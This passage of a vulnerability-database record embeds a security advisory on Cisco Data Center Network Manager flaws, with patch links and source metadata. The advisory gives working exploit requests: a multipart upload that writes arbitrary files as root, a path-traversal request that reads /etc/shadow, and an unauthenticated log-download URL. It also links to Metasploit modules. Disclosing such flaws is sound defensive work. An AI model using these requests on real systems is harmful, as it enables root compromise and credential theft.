{\n\t\t\tout.println(e.getMessage());\n\t\t}\n\t}\n \nhandleUpload is more complex, but here\u0027s a summary; the function takes an HTTP form with a parameter \"uploadDir\", a parameter \"fname\" and then takes the last form object and writes it into \"uploadDir/fname\". \nHowever, there is a catch... the file has to be a valid image with one of the extensions listed here:\n\t\tallowedFormats.add(\"jpeg\");\n\t\tallowedFormats.add(\"png\");\n\t\tallowedFormats.add(\"gif\");\n\t\tallowedFormats.add(\"jpg\");\n\t\tallowedFormats.add(\"cert\");\n \nHowever, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this:\n\t\t\t\ttry {\n\t\t\t\t\tString imageFormat = imageReader.getFormatName();\n\n... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block:\n\t\t\t\tcatch (Exception ex) {\n\t\t\t\t\tthis.processUploadedFile(item, uploadDir, fname);\n\t\t\t\t\tCalendar calendar = Calendar.getInstance();\n\t\t\t\t\tSimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM.dd.yy hh:mm:ss aaa\");\n\t\t\t\t\tstatusMessage = \"File successfully written to server at \" + simpleDateFormat.format(calendar.getTime());\n\t\t\t\t\tatts.addAttribute(\"\", \"\", \"id\", \"CDATA\", fname);\n \n... meaning that the file contents, upload dir and its name are sent into processUploadedFile. \n\nLet\u0027s look into that now:\n\tprivate void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception {\n\t\ttry {\n\t\t\tint offset;\n\t\t\tint contentLength = (int)item.getSize();\n\t\t\tInputStream raw = item.getInputStream();\n\t\t\tBufferedInputStream in = new BufferedInputStream(raw);\n\t\t\tbyte[] data = new byte[contentLength];\n\t\t\tint bytesRead = 0;\n\t\t\tfor (offset = 0; offset \u003c contentLength \u0026\u0026 (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) {\n\t\t\t}\n\t\t\tin.close();\n\t\t\tif (offset != contentLength) {\n\t\t\t\tthrow new IOException(\"Only read \" + offset + \" bytes; Expected \" + contentLength + \" bytes\");\n\t\t\t}\n\t\t\tFileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname);\n\t\t\tout.write(data);\n\t\t\tout.flush();\n\t\t\tout.close();\n\t\t}\n\t\tcatch (Exception ex) {\n\t\t\tthrow new Exception(\"FileUploadSevlet processUploadFile failed: \" + ex.getMessage());\n\t\t}\n\t}\n \nAmazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated. \nIn summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root. \n \nIf we send the following request:\nPOST /fm/fileUpload HTTP/1.1\nHost: 10.75.1.40\nCookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;\nContent-Length: 429\nContent-Type: multipart/form-data; boundary=---------------------------9313517619947\n\n-----------------------------9313517619947\nContent-Disposition: form-data; name=\"fname\"\n\nowned\n-----------------------------9313517619947\nContent-Disposition: form-data; name=\"uploadDir\"\n\n/tmp/\n-----------------------------9313517619947\nContent-Disposition: form-data; name=\"filePath\"; filename=\"whatever\"\nContent-Type: application/octet-stream\n\n\u003cany text or binary content here\u003e\n\n-----------------------------9313517619947--\n\nThe server will respond with:\nHTTP/1.1 200 OK\nX-FRAME-OPTIONS: SAMEORIGIN\nContent-Type: text/xml;charset=utf-8\nDate: Mon, 03 Sep 2018 00:57:11 GMT\nConnection: close\nServer: server\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE response SYSTEM \"response.dtd\"\u003e\n\u003cresponse\u003e\n\u003cfield id=\"fname\"\u003eowned\u003c/field\u003e\n\u003cfield id=\"uploadDir\"\u003e/tmp/\u003c/field\u003e\n\u003cfile id=\"whatever\"\u003eFile successfully written to server at 09.02.18 05:57:11 PM\u003c/file\u003e\n\u003c/response\u003e\n\nAnd our file has been written as root on the server:\n[root@dcnm_vm ~]# ls -l /tmp/\n(...)\n-rw-r--r-- 1 root root 16 Sep 2 17:57 owned\n(...)\n\nFinally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution. \n\nA Metasploit module that exploits this vulnerability has been released with this advisory. An authenticated user can abuse this servlet to download arbitrary files as root [5]. \n\nThe code below shows the servlet request processing code:\ncom.cisco.dcbu.web.client.util.DownloadServlet \n\n\tpublic void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tCredentials cred = (Credentials)((Object)request.getSession().getAttribute(\"credentials\"));\n\t\tif (cred == null || !cred.isAuthenticated()) {\n\t\t\tthrow new ServletException(\"User not logged in or Session timed out.\");\n\t\t}\n\t\tString showFile = (String)request.getAttribute(\"showFile\");\n\t\tif (showFile == null) {\n\t\t\tshowFile = request.getParameter(\"showFile\");\n\t\t}\n\t\tFile f = new File(showFile);\n\t\tif (showFile.endsWith(\".cert\")) {\n\t\t\tresponse.setContentType(\"application/octet-stream\");\n\t\t\tresponse.setHeader(\"Pragma\", \"cache\");\n\t\t\tresponse.setHeader(\"Cache-Control\", \"cache\");\n\t\t\tresponse.setHeader(\"Content-Disposition\", \"attachment; filename=fmserver.cert;\");\n\t\t} else if (showFile.endsWith(\".msi\")) {\n\t\t\tresponse.setContentType(\"application/x-msi\");\n\t\t\tresponse.setHeader(\"Pragma\", \"cache\");\n\t\t\tresponse.setHeader(\"Cache-Control\", \"cache\");\n\t\t\tresponse.setHeader(\"Content-Disposition\", \"attachment; filename=\" + f.getName() + \";\");\n\t\t} else if (showFile.endsWith(\".xls\")) {\n\t\t\tresponse.setContentType(\"application/vnd.ms-excel\");\n\t\t\tresponse.setHeader(\"Pragma\", \"cache\");\n\t\t\tresponse.setHeader(\"Cache-Control\", \"cache\");\n\t\t\tresponse.setHeader(\"Content-Disposition\", \"attachment; filename=\" + f.getName() + \";\");\n\t\t}\n\t\tServletOutputStream os = response.getOutputStream();\n\t\tFileInputStream is = new FileInputStream(f);\n\t\tbyte[] buffer = new byte[4096];\n\t\tint read = 0;\n\t\ttry {\n\t\t\twhile ((read = is.read(buffer)) \u003e 0) {\n\t\t\t\tos.write(buffer, 0, read);\n\t\t\t}\n\t\t\tos.flush();\n\t\t}\n\t\tcatch (Exception e) {\n\t\t\tLogService.log(LogService._WARNING, e.getMessage());\n\t\t}\n\t\tfinally {\n\t\t\tis.close();\n\t\t}\n\t}\n}\n\nAs you can see, it\u0027s quite simple. It takes a \"showFile\" request parameter, reads that file and returns to the user. Here\u0027s an example of the servlet in action:\n\nRequest:\nGET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1\nHost: 10.75.1.40\nCookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;\n\nResponse:\nHTTP/1.1 200 OK\n\nroot:$1$(REDACTED).:17763:0:99999:7:::\nbin:*:15980:0:99999:7:::\ndaemon:*:15980:0:99999:7:::\nadm:*:15980:0:99999:7:::\nlp:*:15980:0:99999:7:::\n(...)\n\nAn interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code. \n\nA Metasploit module that exploits this vulnerability has been released with this advisory. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6]. \n\nTo access it, simply request:\nGET /fm/log/fmlogs.zip\n\nCode is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet. \n\n\n\u003e\u003e Fix: \nFor #1, upgrade to DCNM 11.0(1) and above [3]. \nFor #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5]. \nFor #4, it is not clear from Cisco\u0027s advisory on which version it was fixed [6]. \n\n\n\u003e\u003e References:\n[1] https://www.accenture.com/us-en/service-idefense-security-intelligence\n[2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html\n[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass\n[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex\n[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld\n[6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl\n\n\n\u003e\u003e Disclaimer:\nPlease note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. \nUnconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor\u0027s responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly. \nAgile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. \nIt is the vendor\u0027s responsibility to ensure their products\u0027 security before, during and after release to market. \n\nAll information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). \nFor information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. \nFor more information check https://www.gnu.org/licenses/gpl-3.0.en.html\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business", "sources": [ { "db": "NVD", "id": "CVE-2019-1620" }, { "db": "JVNDB", "id": "JVNDB-2019-005759" }, { "db": "CNVD", "id": "CNVD-2019-19474" }, { "db": "BID", "id": "108906" }, { "db": "VULHUB", "id": "VHN-148322" }, { "db": "PACKETSTORM", "id": "154304" }, { "db": "PACKETSTORM", "id": "153546" } ], "trust": 2.7 }, "external_ids": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "db": "NVD", "id": "CVE-2019-1620", "trust": 3.6 }, { "db": "BID", "id": "108906", "trust": 2.0 }, { "db": "PACKETSTORM", "id": "154304", "trust": 1.8 }, { "db": "PACKETSTORM", "id": "153546", "trust": 1.8 }, { "db": "JVNDB", "id": "JVNDB-2019-005759", "trust": 0.8 }, { "db": "CNNVD", "id": "CNNVD-201906-1029", "trust": 0.7 }, { "db": "CNVD", "id": "CNVD-2019-19474", "trust": 0.6 }, { "db": "AUSCERT", "id": "ESB-2019.2313", "trust": 0.6 }, { "db": "VULHUB", "id": "VHN-148322", "trust": 0.1 } ], "sources": [ { "db": "CNVD", "id": "CNVD-2019-19474" }, { "db": "VULHUB", "id": "VHN-148322" }, { "db": "BID", "id": "108906" }, { "db": "JVNDB", "id": "JVNDB-2019-005759" }, { "db": "PACKETSTORM", "id": "154304" }, { "db": "PACKETSTORM", "id": "153546" }, { "db": "CNNVD", "id": "CNNVD-201906-1029" }, { "db": "NVD", "id": "CVE-2019-1620" } ] }, "id": "VAR-201906-0567", "iot": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": true, "sources": [ { "db": "CNVD", "id": "CNVD-2019-19474" }, { "db": "VULHUB", "id": "VHN-148322" } ], "trust": 0.06999999999999999 }, "iot_taxonomy": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "category": [ "Network device" ], "sub_category": null, "trust": 0.6 } ], "sources": [ { "db": "CNVD", "id": "CNVD-2019-19474" } ] }, "last_update_date": "2024-11-23T21:52:11.042000Z", "patch": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "title": "cisco-sa-20190626-dcnm-codex", "trust": 0.8, "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex" }, { "title": "CiscoDataCenterNetworkManager patch for arbitrary file upload vulnerabilities", "trust": 0.6, "url": "https://www.cnvd.org.cn/patchInfo/show/165539" }, { "title": "Cisco Data Center Network Manager Fixes for permissions and access control issues vulnerabilities", "trust": 0.6, "url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=94156" } ], "sources": [ { "db": "CNVD", "id": "CNVD-2019-19474" }, { "db": "JVNDB", "id": "JVNDB-2019-005759" }, { "db": "CNNVD", "id": "CNNVD-201906-1029" } ] }, "problemtype_data": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "problemtype": "CWE-264", "trust": 1.9 }, { "problemtype": "CWE-22", "trust": 1.1 } ], "sources": [ { "db": "VULHUB", "id": "VHN-148322" }, { "db": "JVNDB", "id": "JVNDB-2019-005759" }, { "db": "NVD", "id": "CVE-2019-1620" } ] }, "references": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "trust": 3.3, "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190626-dcnm-codex" }, { "trust": 2.9, "url": "http://packetstormsecurity.com/files/153546/cisco-data-center-network-manager-11.1-1-remote-code-execution.html" }, { "trust": 2.3, "url": "http://www.securityfocus.com/bid/108906" }, { "trust": 1.7, "url": "https://seclists.org/bugtraq/2019/jul/11" }, { "trust": 1.7, "url": "http://seclists.org/fulldisclosure/2019/jul/7" }, { "trust": 1.7, "url": "http://packetstormsecurity.com/files/154304/cisco-data-center-network-manager-unauthenticated-remote-code-execution.html" }, { "trust": 1.6, "url": "https://nvd.nist.gov/vuln/detail/cve-2019-1620" }, { "trust": 0.9, "url": "http://www.cisco.com/" }, { "trust": 0.8, "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2019-1620" }, { "trust": 0.6, "url": "https://www.auscert.org.au/bulletins/esb-2019.2313/" }, { "trust": 0.6, "url": "https://vigilance.fr/vulnerability/cisco-data-center-network-manager-file-upload-via-web-management-interface-29632" }, { "trust": 0.2, "url": "https://nvd.nist.gov/vuln/detail/cve-2019-1622" }, { "trust": 0.2, "url": "https://nvd.nist.gov/vuln/detail/cve-2019-1619" }, { "trust": 0.1, "url": "https://raw.githubusercontent.com/pedrib/poc/master/exploits/metasploit/cisco_dcnm_upload_2019.rb\u0027" }, { "trust": 0.1, "url": "https://github.com/rapid7/metasploit-framework" }, { "trust": 0.1, "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190626-dcnm-bypass\u0027" }, { "trust": 0.1, "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190626-dcnm-codex\u0027" }, { "trust": 0.1, "url": "https://metasploit.com/download" }, { "trust": 0.1, "url": "https://seclists.org/fulldisclosure/2019/jul/7\u0027" }, { "trust": 0.1, "url": "https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html" }, { "trust": 0.1, "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190626-dcnm-bypass" }, { "trust": 0.1, "url": "https://www.accenture.com/us-en/service-idefense-security-intelligence" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2019-1621" }, { "trust": 0.1, "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190626-dcnm-file-dwnld" }, { "trust": 0.1, "url": "https://www.gnu.org/licenses/gpl-3.0.en.html" }, { "trust": 0.1, "url": "http://www.agileinfosec.co.uk/)" }, { "trust": 0.1, "url": "http://www.agileinfosec.co.uk/" }, { "trust": 0.1, "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190626-dcnm-infodiscl" } ], "sources": [ { "db": "CNVD", "id": "CNVD-2019-19474" }, { "db": "VULHUB", "id": "VHN-148322" }, { "db": "BID", "id": "108906" }, { "db": "JVNDB", "id": "JVNDB-2019-005759" }, { "db": "PACKETSTORM", "id": "154304" }, { "db": "PACKETSTORM", "id": "153546" }, { "db": "CNNVD", "id": "CNNVD-201906-1029" }, { "db": "NVD", "id": "CVE-2019-1620" } ] }, "sources": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } }, "data": [ { "db": "CNVD", "id": "CNVD-2019-19474" }, { "db": "VULHUB", "id": "VHN-148322" }, { "db": "BID", "id": "108906" }, { "db": "JVNDB", "id": "JVNDB-2019-005759" }, { "db": "PACKETSTORM", "id": "154304" }, { "db": "PACKETSTORM", "id": "153546" }, { "db": "CNNVD", "id": "CNNVD-201906-1029" }, { "db": "NVD", "id": "CVE-2019-1620" } ] }, "sources_release_date": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } }, "data": [ { "date": "2019-06-26T00:00:00", "db": "CNVD", "id": "CNVD-2019-19474" }, { "date": "2019-06-27T00:00:00", "db": "VULHUB", "id": "VHN-148322" }, { "date": "2019-06-26T00:00:00", "db": "BID", "id": "108906" }, { "date": "2019-06-28T00:00:00", "db": "JVNDB", "id": "JVNDB-2019-005759" }, { "date": "2019-09-02T18:04:06", "db": "PACKETSTORM", "id": "154304" }, { "date": "2019-07-08T21:02:49", "db": "PACKETSTORM", "id": "153546" }, { "date": "2019-06-26T00:00:00", "db": "CNNVD", "id": "CNNVD-201906-1029" }, { "date": "2019-06-27T03:15:09.480000", "db": "NVD", "id": "CVE-2019-1620" } ] }, "sources_update_date": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } }, "data": [ { "date": "2019-06-27T00:00:00", "db": "CNVD", "id": "CNVD-2019-19474" }, { "date": "2020-10-06T00:00:00", "db": "VULHUB", "id": "VHN-148322" }, { "date": "2019-06-26T00:00:00", "db": "BID", "id": "108906" }, { "date": "2019-06-28T00:00:00", "db": "JVNDB", "id": "JVNDB-2019-005759" }, { "date": "2020-10-09T00:00:00", "db": "CNNVD", "id": "CNNVD-201906-1029" }, { "date": "2024-11-21T04:36:56.807000", "db": "NVD", "id": "CVE-2019-1620" } ] }, "threat_type": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "remote", "sources": [ { "db": "PACKETSTORM", "id": "154304" }, { "db": "CNNVD", "id": "CNNVD-201906-1029" } ], "trust": 0.7 }, "title": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "Cisco Data Center Network Manager Vulnerabilities related to authorization, permissions, and access control", "sources": [ { "db": "JVNDB", "id": "JVNDB-2019-005759" } ], "trust": 0.8 }, "type": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "path traversal", "sources": [ { "db": "CNNVD", "id": "CNNVD-201906-1029" } ], "trust": 0.6 } }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.